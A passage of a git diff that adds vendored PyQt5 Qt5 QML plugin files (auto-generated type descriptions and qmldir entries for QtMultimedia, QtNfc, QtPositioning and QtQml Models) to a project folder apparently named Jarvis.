"bool" } + } + Signal { + name: "stationFound" + Parameter { name: "frequency"; type: "int" } + Parameter { name: "stationId"; type: "string" } + } + Signal { + name: "antennaConnectedChanged" + Parameter { name: "connectionStatus"; type: "bool" } + } + Signal { + name: "availabilityChanged" + Parameter { name: "availability"; type: "Availability" } + } + Signal { name: "errorChanged" } + Signal { + name: "error" + Parameter { name: "errorCode"; type: "QDeclarativeRadio::Error" } + } + Method { + name: "setBand" + Parameter { name: "band"; type: "QDeclarativeRadio::Band" } + } + Method { + name: "setFrequency" + Parameter { name: "frequency"; type: "int" } + } + Method { + name: "setStereoMode" + Parameter { name: "stereoMode"; type: "QDeclarativeRadio::StereoMode" } + } + Method { + name: "setVolume" + Parameter { name: "volume"; type: "int" } + } + Method { + name: "setMuted" + Parameter { name: "muted"; type: "bool" } + } + Method { name: "cancelScan" } + Method { name: "scanDown" } + Method { name: "scanUp" } + Method { name: "tuneUp" } + Method { name: "tuneDown" } + Method { + name: "searchAllStations" + Parameter { name: "searchMode"; type: "QDeclarativeRadio::SearchMode" } + } + Method { name: "searchAllStations" } + Method { name: "start" } + Method { name: "stop" } + Method { name: "isAvailable"; type: "bool" } + } + Component { + name: "QDeclarativeRadioData" + prototype: "QObject" + exports: ["QtMultimedia/RadioData 5.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "Error" + values: { + "NoError": 0, + "ResourceError": 1, + "OpenError": 2, + "OutOfRangeError": 3 + } + } + Enum { + name: "ProgramType" + values: { + "Undefined": 0, + "News": 1, + "CurrentAffairs": 2, + "Information": 3, + "Sport": 4, + "Education": 5, + "Drama": 6, + "Culture": 7, + "Science": 8, + "Varied": 9, + "PopMusic": 10, + "RockMusic": 11, + "EasyListening": 12, + "LightClassical": 13, + "SeriousClassical": 14, + "OtherMusic": 15, + "Weather": 16, + "Finance": 17, + "ChildrensProgrammes": 18, + "SocialAffairs": 19, + "Religion": 20, + "PhoneIn": 21, + "Travel": 22, + "Leisure": 23, + "JazzMusic": 24, + "CountryMusic": 25, + "NationalMusic": 26, + "OldiesMusic": 27, + "FolkMusic": 28, + "Documentary": 29, + "AlarmTest": 30, + "Alarm": 31, + "Talk": 32, + "ClassicRock": 33, + "AdultHits": 34, + "SoftRock": 35, + "Top40": 36, + "Soft": 37, + "Nostalgia": 38, + "Classical": 39, + "RhythmAndBlues": 40, + "SoftRhythmAndBlues": 41, + "Language": 42, + "ReligiousMusic": 43, + "ReligiousTalk": 44, + "Personality": 45, + "Public": 46, + "College": 47 + } + } + Enum { + name: "Availability" + values: { + "Available": 0, + "Busy": 2, + "Unavailable": 1, + "ResourceMissing": 3 + } + } + Property { name: "stationId"; type: "string"; isReadonly: true } + Property { name: "programType"; type: "QDeclarativeRadioData::ProgramType"; isReadonly: true } + Property { name: "programTypeName"; type: "string"; isReadonly: true } + Property { name: "stationName"; type: "string"; isReadonly: true } + Property { name: "radioText"; type: "string"; isReadonly: true } + Property { name: "alternativeFrequenciesEnabled"; type: "bool" } + Property { name: "availability"; type: "Availability"; isReadonly: true } + Signal { + name: "stationIdChanged" + Parameter { name: "stationId"; type: "string" } + } + Signal { + name: "programTypeChanged" + Parameter { name: "programType"; type: "QDeclarativeRadioData::ProgramType" } + } + Signal { + name: "programTypeNameChanged" + Parameter { name: "programTypeName"; type: "string" } + } + Signal { + name: "stationNameChanged" + Parameter { name: "stationName"; type: "string" } + } + Signal { + name: "radioTextChanged" + Parameter { name: "radioText"; type: "string" } + } + Signal { + name: "alternativeFrequenciesEnabledChanged" + Parameter { name: "enabled"; type: "bool" } + } + Signal { + name: "availabilityChanged" + Parameter { name: "availability"; type: "Availability" } + } + Signal { name: "errorChanged" } + Signal { + name: "error" + Parameter { name: "errorCode"; type: "QDeclarativeRadioData::Error" } + } + Method { + name: "setAlternativeFrequenciesEnabled" + Parameter { name: "enabled"; type: "bool" } + } + Method { name: "isAvailable"; type: "bool" } + } + Component { + name: "QDeclarativeTorch" + prototype: "QObject" + exports: ["QtMultimedia/Torch 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "enabled"; type: "bool" } + Property { name: "power"; type: "int" } + } + Component { + name: "QDeclarativeVideoOutput" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtMultimedia/VideoOutput 5.0", + "QtMultimedia/VideoOutput 5.13", + "QtMultimedia/VideoOutput 5.15", + "QtMultimedia/VideoOutput 5.2" + ] + exportMetaObjectRevisions: [0, 13, 15, 2] + Enum { + name: "FlushMode" + values: { + "EmptyFrame": 0, + "FirstFrame": 1, + "LastFrame": 2 + } + } + Enum { + name: "FillMode" + values: { + "Stretch": 0, + "PreserveAspectFit": 1, + "PreserveAspectCrop": 2 + } + } + Property { name: "source"; type: "QObject"; isPointer: true } + Property { name: "fillMode"; type: "FillMode" } + Property { name: "orientation"; type: "int" } + Property { name: "autoOrientation"; revision: 2; type: "bool" } + Property { name: "sourceRect"; type: "QRectF"; isReadonly: true } + Property { name: "contentRect"; type: "QRectF"; isReadonly: true } + Property { name: "filters"; type: "QAbstractVideoFilter"; isList: true; isReadonly: true } + Property { name: "flushMode"; revision: 13; type: "FlushMode" } + Property { + name: "videoSurface" + revision: 15 + type: "QAbstractVideoSurface" + isReadonly: true + isPointer: true + } + Signal { + name: "fillModeChanged" + Parameter { type: "QDeclarativeVideoOutput::FillMode" } + } + Method { + name: "mapPointToItem" + type: "QPointF" + Parameter { name: "point"; type: "QPointF" } + } + Method { + name: "mapRectToItem" + type: "QRectF" + Parameter { name: "rectangle"; type: "QRectF" } + } + Method { + name: "mapNormalizedPointToItem" + type: "QPointF" + Parameter { name: "point"; type: "QPointF" } + } + Method { + name: "mapNormalizedRectToItem" + type: "QRectF" + Parameter { name: "rectangle"; type: "QRectF" } + } + Method { + name: "mapPointToSource" + type: "QPointF" + Parameter { name: "point"; type: "QPointF" } + } + Method { + name: "mapRectToSource" + type: "QRectF" + Parameter { name: "rectangle"; type: "QRectF" } + } + Method { + name: "mapPointToSourceNormalized" + type: "QPointF" + Parameter { name: "point"; type: "QPointF" } + } + Method { + name: "mapRectToSourceNormalized" + type: "QRectF" + Parameter { name: "rectangle"; type: "QRectF" } + } + } + Component { + name: "QMediaObject" + prototype: "QObject" + Property { name: "notifyInterval"; type: "int" } + Signal { + name: "notifyIntervalChanged" + Parameter { name: "milliSeconds"; type: "int" } + } + Signal { + name: "metaDataAvailableChanged" + Parameter { name: "available"; type: "bool" } + } + Signal { name: "metaDataChanged" } + Signal { + name: "metaDataChanged" + Parameter { name: "key"; type: "string" } + Parameter { name: "value"; type: "QVariant" } + } + Signal { + name: "availabilityChanged" + Parameter { name: "available"; type: "bool" } + } + Signal { + name: "availabilityChanged" + Parameter { name: "availability"; type: "QMultimedia::AvailabilityStatus" } + } + } + Component { name: "QSGVideoItemSurface"; prototype: "QAbstractVideoSurface" } + Component { + name: "QSoundEffect" + prototype: "QObject" + exports: [ + "QtMultimedia/SoundEffect 5.0", + "QtMultimedia/SoundEffect 5.3", + "QtMultimedia/SoundEffect 5.8" + ] + exportMetaObjectRevisions: [0, 0, 0] + Enum { + name: "Loop" + values: { + "Infinite": -2 + } + } + Enum { + name: "Status" + values: { + "Null": 0, + "Loading": 1, + "Ready": 2, + "Error": 3 + } + } + Property { name: "source"; type: "QUrl" } + Property { name: "loops"; type: "int" } + Property { name: "loopsRemaining"; type: "int"; isReadonly: true } + Property { name: "volume"; type: "double" } + Property { name: "muted"; type: "bool" } + Property { name: "playing"; type: "bool"; isReadonly: true } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "category"; type: "string" } + Signal { name: "loopCountChanged" } + Signal { name: "loadedChanged" } + Method { name: "play" } + Method { name: "stop" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtMultimedia/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtMultimedia/qmldir new file mode 100644 index 00000000..3d2d7c46 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtMultimedia/qmldir @@ -0,0 +1,5 @@ +module QtMultimedia +plugin declarative_multimedia +classname QMultimediaDeclarativeModule +typeinfo plugins.qmltypes +Video 5.0 Video.qml diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtNfc/declarative_nfc.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtNfc/declarative_nfc.dll new file mode 100644 index 00000000..77d6b4ab Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtNfc/declarative_nfc.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtNfc/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtNfc/plugins.qmltypes new file mode 100644 index 00000000..40cbe2cc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtNfc/plugins.qmltypes @@ -0,0 +1,91 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtNfc 5.15' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "QDeclarativeNdefFilter" + prototype: "QObject" + exports: ["QtNfc/NdefFilter 5.0", "QtNfc/NdefFilter 5.2"] + exportMetaObjectRevisions: [0, 0] + Property { name: "type"; type: "string" } + Property { name: "typeNameFormat"; type: "QQmlNdefRecord::TypeNameFormat" } + Property { name: "minimum"; type: "int" } + Property { name: "maximum"; type: "int" } + } + Component { + name: "QDeclarativeNdefMimeRecord" + prototype: "QQmlNdefRecord" + exports: ["QtNfc/NdefMimeRecord 5.0", "QtNfc/NdefMimeRecord 5.2"] + exportMetaObjectRevisions: [0, 0] + Property { name: "uri"; type: "string"; isReadonly: true } + } + Component { + name: "QDeclarativeNdefTextRecord" + prototype: "QQmlNdefRecord" + exports: ["QtNfc/NdefTextRecord 5.0", "QtNfc/NdefTextRecord 5.2"] + exportMetaObjectRevisions: [0, 0] + Enum { + name: "LocaleMatch" + values: { + "LocaleMatchedNone": 0, + "LocaleMatchedEnglish": 1, + "LocaleMatchedLanguage": 2, + "LocaleMatchedLanguageAndCountry": 3 + } + } + Property { name: "text"; type: "string" } + Property { name: "locale"; type: "string" } + Property { name: "localeMatch"; type: "LocaleMatch"; isReadonly: true } + } + Component { + name: "QDeclarativeNdefUriRecord" + prototype: "QQmlNdefRecord" + exports: ["QtNfc/NdefUriRecord 5.0", "QtNfc/NdefUriRecord 5.2"] + exportMetaObjectRevisions: [0, 0] + Property { name: "uri"; type: "string" } + } + Component { + name: "QDeclarativeNearField" + prototype: "QObject" + exports: [ + "QtNfc/NearField 5.0", + "QtNfc/NearField 5.2", + "QtNfc/NearField 5.4", + "QtNfc/NearField 5.5" + ] + exportMetaObjectRevisions: [0, 0, 0, 1] + Property { name: "messageRecords"; type: "QQmlNdefRecord"; isList: true; isReadonly: true } + Property { name: "filter"; type: "QDeclarativeNdefFilter"; isList: true; isReadonly: true } + Property { name: "orderMatch"; type: "bool" } + Property { name: "polling"; revision: 1; type: "bool" } + Signal { name: "pollingChanged"; revision: 1 } + Signal { name: "tagFound"; revision: 1 } + Signal { name: "tagRemoved"; revision: 1 } + } + Component { + name: "QQmlNdefRecord" + prototype: "QObject" + exports: ["QtNfc/NdefRecord 5.0", "QtNfc/NdefRecord 5.2"] + exportMetaObjectRevisions: [0, 0] + Enum { + name: "TypeNameFormat" + values: { + "Empty": 0, + "NfcRtd": 1, + "Mime": 2, + "Uri": 3, + "ExternalRtd": 4, + "Unknown": 5 + } + } + Property { name: "type"; type: "string" } + Property { name: "typeNameFormat"; type: "TypeNameFormat" } + Property { name: "record"; type: "QNdefRecord" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtNfc/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtNfc/qmldir new file mode 100644 index 00000000..0025f3e6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtNfc/qmldir @@ -0,0 +1,4 @@ +module QtNfc +plugin declarative_nfc +classname QNfcQmlPlugin +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtPositioning/declarative_positioning.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtPositioning/declarative_positioning.dll new file mode 100644 index 00000000..befd2be9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtPositioning/declarative_positioning.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtPositioning/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtPositioning/plugins.qmltypes new file mode 100644 index 00000000..e951961c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtPositioning/plugins.qmltypes @@ -0,0 +1,316 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtPositioning 5.14' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "LocationSingleton" + prototype: "QObject" + exports: ["QtPositioning/QtPositioning 5.0"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0] + Method { name: "coordinate"; type: "QGeoCoordinate" } + Method { + name: "coordinate" + type: "QGeoCoordinate" + Parameter { name: "latitude"; type: "double" } + Parameter { name: "longitude"; type: "double" } + Parameter { name: "altitude"; type: "double" } + } + Method { + name: "coordinate" + type: "QGeoCoordinate" + Parameter { name: "latitude"; type: "double" } + Parameter { name: "longitude"; type: "double" } + } + Method { name: "shape"; type: "QGeoShape" } + Method { name: "rectangle"; type: "QGeoRectangle" } + Method { + name: "rectangle" + type: "QGeoRectangle" + Parameter { name: "center"; type: "QGeoCoordinate" } + Parameter { name: "width"; type: "double" } + Parameter { name: "height"; type: "double" } + } + Method { + name: "rectangle" + type: "QGeoRectangle" + Parameter { name: "topLeft"; type: "QGeoCoordinate" } + Parameter { name: "bottomRight"; type: "QGeoCoordinate" } + } + Method { + name: "rectangle" + type: "QGeoRectangle" + Parameter { name: "coordinates"; type: "QVariantList" } + } + Method { name: "circle"; type: "QGeoCircle" } + Method { + name: "circle" + type: "QGeoCircle" + Parameter { name: "center"; type: "QGeoCoordinate" } + Parameter { name: "radius"; type: "double" } + } + Method { + name: "circle" + type: "QGeoCircle" + Parameter { name: "center"; type: "QGeoCoordinate" } + } + Method { name: "path"; type: "QGeoPath" } + Method { + name: "path" + type: "QGeoPath" + Parameter { name: "value"; type: "QJSValue" } + Parameter { name: "width"; type: "double" } + } + Method { + name: "path" + type: "QGeoPath" + Parameter { name: "value"; type: "QJSValue" } + } + Method { name: "polygon"; type: "QGeoPolygon" } + Method { + name: "polygon" + type: "QGeoPolygon" + Parameter { name: "value"; type: "QVariantList" } + } + Method { + name: "polygon" + type: "QGeoPolygon" + Parameter { name: "perimeter"; type: "QVariantList" } + Parameter { name: "holes"; type: "QVariantList" } + } + Method { + name: "shapeToCircle" + type: "QGeoCircle" + Parameter { name: "shape"; type: "QGeoShape" } + } + Method { + name: "shapeToRectangle" + type: "QGeoRectangle" + Parameter { name: "shape"; type: "QGeoShape" } + } + Method { + name: "shapeToPath" + type: "QGeoPath" + Parameter { name: "shape"; type: "QGeoShape" } + } + Method { + name: "shapeToPolygon" + type: "QGeoPolygon" + Parameter { name: "shape"; type: "QGeoShape" } + } + Method { + name: "mercatorToCoord" + revision: 12 + type: "QGeoCoordinate" + Parameter { name: "mercator"; type: "QPointF" } + } + Method { + name: "coordToMercator" + revision: 12 + type: "QPointF" + Parameter { name: "coord"; type: "QGeoCoordinate" } + } + } + Component { + name: "QDeclarativeGeoAddress" + prototype: "QObject" + exports: ["QtPositioning/Address 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "address"; type: "QGeoAddress" } + Property { name: "text"; type: "string" } + Property { name: "country"; type: "string" } + Property { name: "countryCode"; type: "string" } + Property { name: "state"; type: "string" } + Property { name: "county"; type: "string" } + Property { name: "city"; type: "string" } + Property { name: "district"; type: "string" } + Property { name: "street"; type: "string" } + Property { name: "postalCode"; type: "string" } + Property { name: "isTextGenerated"; type: "bool"; isReadonly: true } + } + Component { + name: "QDeclarativeGeoLocation" + prototype: "QObject" + exports: ["QtPositioning/Location 5.0", "QtPositioning/Location 5.13"] + exportMetaObjectRevisions: [0, 13] + Property { name: "location"; type: "QGeoLocation" } + Property { name: "address"; type: "QDeclarativeGeoAddress"; isPointer: true } + Property { name: "coordinate"; type: "QGeoCoordinate" } + Property { name: "boundingBox"; type: "QGeoRectangle" } + Property { name: "extendedAttributes"; revision: 13; type: "QVariantMap" } + } + Component { + name: "QDeclarativePluginParameter" + prototype: "QObject" + exports: ["QtPositioning/PluginParameter 5.14"] + exportMetaObjectRevisions: [0] + Property { name: "name"; type: "string" } + Property { name: "value"; type: "QVariant" } + Signal { + name: "nameChanged" + Parameter { name: "name"; type: "string" } + } + Signal { + name: "valueChanged" + Parameter { name: "value"; type: "QVariant" } + } + Signal { name: "initialized" } + } + Component { + name: "QDeclarativePosition" + prototype: "QObject" + exports: [ + "QtPositioning/Position 5.0", + "QtPositioning/Position 5.3", + "QtPositioning/Position 5.4" + ] + exportMetaObjectRevisions: [0, 1, 2] + Property { name: "latitudeValid"; type: "bool"; isReadonly: true } + Property { name: "longitudeValid"; type: "bool"; isReadonly: true } + Property { name: "altitudeValid"; type: "bool"; isReadonly: true } + Property { name: "coordinate"; type: "QGeoCoordinate"; isReadonly: true } + Property { name: "timestamp"; type: "QDateTime"; isReadonly: true } + Property { name: "speed"; type: "double"; isReadonly: true } + Property { name: "speedValid"; type: "bool"; isReadonly: true } + Property { name: "horizontalAccuracy"; type: "double" } + Property { name: "verticalAccuracy"; type: "double" } + Property { name: "horizontalAccuracyValid"; type: "bool"; isReadonly: true } + Property { name: "verticalAccuracyValid"; type: "bool"; isReadonly: true } + Property { name: "directionValid"; revision: 1; type: "bool"; isReadonly: true } + Property { name: "direction"; revision: 1; type: "double"; isReadonly: true } + Property { name: "verticalSpeedValid"; revision: 1; type: "bool"; isReadonly: true } + Property { name: "verticalSpeed"; revision: 1; type: "double"; isReadonly: true } + Property { name: "magneticVariation"; revision: 2; type: "double"; isReadonly: true } + Property { name: "magneticVariationValid"; revision: 2; type: "bool"; isReadonly: true } + Signal { name: "directionValidChanged"; revision: 1 } + Signal { name: "directionChanged"; revision: 1 } + Signal { name: "verticalSpeedValidChanged"; revision: 1 } + Signal { name: "verticalSpeedChanged"; revision: 1 } + Signal { name: "magneticVariationChanged"; revision: 2 } + Signal { name: "magneticVariationValidChanged"; revision: 2 } + } + Component { + name: "QDeclarativePositionSource" + defaultProperty: "parameters" + prototype: "QObject" + exports: ["QtPositioning/PositionSource 5.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "PositioningMethod" + values: { + "NoPositioningMethods": 0, + "SatellitePositioningMethods": 255, + "NonSatellitePositioningMethods": -256, + "AllPositioningMethods": -1 + } + } + Enum { + name: "PositioningMethods" + values: { + "NoPositioningMethods": 0, + "SatellitePositioningMethods": 255, + "NonSatellitePositioningMethods": -256, + "AllPositioningMethods": -1 + } + } + Enum { + name: "SourceError" + values: { + "AccessError": 0, + "ClosedError": 1, + "UnknownSourceError": 2, + "NoError": 3, + "SocketError": 100 + } + } + Property { name: "position"; type: "QDeclarativePosition"; isReadonly: true; isPointer: true } + Property { name: "active"; type: "bool" } + Property { name: "valid"; type: "bool"; isReadonly: true } + Property { name: "nmeaSource"; type: "QUrl" } + Property { name: "updateInterval"; type: "int" } + Property { name: "supportedPositioningMethods"; type: "PositioningMethods"; isReadonly: true } + Property { name: "preferredPositioningMethods"; type: "PositioningMethods" } + Property { name: "sourceError"; type: "SourceError"; isReadonly: true } + Property { name: "name"; type: "string" } + Property { + name: "parameters" + revision: 14 + type: "QDeclarativePluginParameter" + isList: true + isReadonly: true + } + Signal { name: "validityChanged" } + Signal { name: "updateTimeout" } + Method { name: "update" } + Method { name: "start" } + Method { name: "stop" } + Method { + name: "setBackendProperty" + revision: 14 + type: "bool" + Parameter { name: "name"; type: "string" } + Parameter { name: "value"; type: "QVariant" } + } + Method { + name: "backendProperty" + revision: 14 + type: "QVariant" + Parameter { name: "name"; type: "string" } + } + } + Component { + name: "QGeoShape" + exports: ["QtPositioning/GeoShape 5.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "ShapeType" + values: { + "UnknownType": 0, + "RectangleType": 1, + "CircleType": 2, + "PathType": 3, + "PolygonType": 4 + } + } + Property { name: "type"; type: "ShapeType"; isReadonly: true } + Property { name: "isValid"; type: "bool"; isReadonly: true } + Property { name: "isEmpty"; type: "bool"; isReadonly: true } + Method { + name: "contains" + type: "bool" + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + } + Method { name: "boundingGeoRectangle"; type: "QGeoRectangle" } + Method { name: "center"; type: "QGeoCoordinate" } + Method { + name: "extendShape" + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + } + Method { name: "toString"; type: "string" } + } + Component { + name: "QQuickGeoCoordinateAnimation" + prototype: "QQuickPropertyAnimation" + exports: ["QtPositioning/CoordinateAnimation 5.3"] + exportMetaObjectRevisions: [0] + Enum { + name: "Direction" + values: { + "Shortest": 0, + "West": 1, + "East": 2 + } + } + Property { name: "from"; type: "QGeoCoordinate" } + Property { name: "to"; type: "QGeoCoordinate" } + Property { name: "direction"; type: "Direction" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtPositioning/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtPositioning/qmldir new file mode 100644 index 00000000..fc4ebf85 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtPositioning/qmldir @@ -0,0 +1,4 @@ +module QtPositioning +plugin declarative_positioning +classname QtPositioningDeclarativeModule +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/Models.2/modelsplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/Models.2/modelsplugin.dll new file mode 100644 index 00000000..3e32341f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/Models.2/modelsplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/Models.2/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/Models.2/plugins.qmltypes new file mode 100644 index 00000000..f9c1f0aa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/Models.2/plugins.qmltypes @@ -0,0 +1,880 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: [] + Component { + name: "QAbstractItemModel" + prototype: "QObject" + Enum { + name: "LayoutChangeHint" + values: [ + "NoLayoutChangeHint", + "VerticalSortHint", + "HorizontalSortHint" + ] + } + Enum { + name: "CheckIndexOption" + values: [ + "NoOption", + "IndexIsValid", + "DoNotUseParent", + "ParentIsInvalid" + ] + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + Parameter { name: "roles"; type: "QVector" } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + } + Signal { + name: "headerDataChanged" + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutChanged" } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutAboutToBeChanged" } + Signal { + name: "rowsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { name: "modelAboutToBeReset" } + Signal { name: "modelReset" } + Signal { + name: "rowsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationRow"; type: "int" } + } + Signal { + name: "rowsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "row"; type: "int" } + } + Signal { + name: "columnsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationColumn"; type: "int" } + } + Signal { + name: "columnsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "column"; type: "int" } + } + Method { name: "submit"; type: "bool" } + Method { name: "revert" } + Method { name: "resetInternalData" } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "parent" + type: "QModelIndex" + Parameter { name: "child"; type: "QModelIndex" } + } + Method { + name: "sibling" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "idx"; type: "QModelIndex" } + } + Method { + name: "rowCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "rowCount"; type: "int" } + Method { + name: "columnCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "columnCount"; type: "int" } + Method { + name: "hasChildren" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "hasChildren"; type: "bool" } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + } + Method { + name: "fetchMore" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "canFetchMore" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "flags" + type: "Qt::ItemFlags" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + Parameter { name: "flags"; type: "Qt::MatchFlags" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + } + } + Component { 